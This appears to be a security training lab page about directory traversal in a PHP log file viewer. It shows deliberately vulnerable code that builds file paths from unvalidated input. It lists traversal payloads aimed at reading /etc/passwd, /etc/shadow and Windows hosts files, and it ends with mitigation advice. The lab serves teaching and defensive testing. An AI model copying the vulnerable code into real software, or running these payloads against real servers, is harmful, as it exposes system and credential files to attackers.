Lab 3: Log File Viewer

Directory Traversal in log file viewing functionality

Difficulty: Medium

Lab Overview

This lab demonstrates a directory traversal vulnerability in a log file viewer system. The application constructs log file paths by concatenating user input without proper validation, allowing access to sensitive system files.

Objective: Access system files outside the logs directory using directory traversal sequences to view sensitive configuration files.

Vulnerable PHP Code 
// Handle log file request
if (isset($_GET['log'])) {
    $log = $_GET['log'];
    
    // Vulnerable: No validation of log file path
    $log_path = 'logs/' . $log;
    
    if (file_exists($log_path) && is_file($log_path)) {
        $log_content = file_get_contents($log_path);
        // Display log content
    } else {
        // Error: Log file not found
    }
}

// Example vulnerable usage:
// ?log=access.log
// ?log=../../../etc/passwd
// ?log=..\..\..\windows\system32\drivers\etc\hosts
Log File Viewer Demo
Log file not found: logs/../../../proc/version
Available Log Files:
access.log
application.log
error.log
security.log
Vulnerability Details
  • Type: Directory Traversal in Log Viewer
  • Severity: High
  • Parameter: log
  • Method: GET
  • Issue: Log file path construction without validation
Test Payloads

Try these payloads in the log parameter:

  • ../../../etc/passwd - Linux system file
  • ..\..\..\windows\system32\drivers\etc\hosts - Windows system file
  • ../../../etc/hosts - Linux hosts file
  • ../../../proc/version - Linux system info
  • ../../../etc/shadow - Linux password file

Example URLs:

  • 3.php?log=../../../etc/passwd
  • 3.php?log=..\..\..\windows\system32\drivers\etc\hosts
Quick Test URLs

Click these links to test the vulnerability:

Real-World Attack Scenarios
Mitigation Strategies
  • Validate and sanitize all log file path inputs
  • Use whitelist-based file access controls
  • Implement proper path normalization
  • Use basename() to extract filename only
  • Implement file type validation for log files
  • Use absolute paths with proper validation
  • Implement proper error handling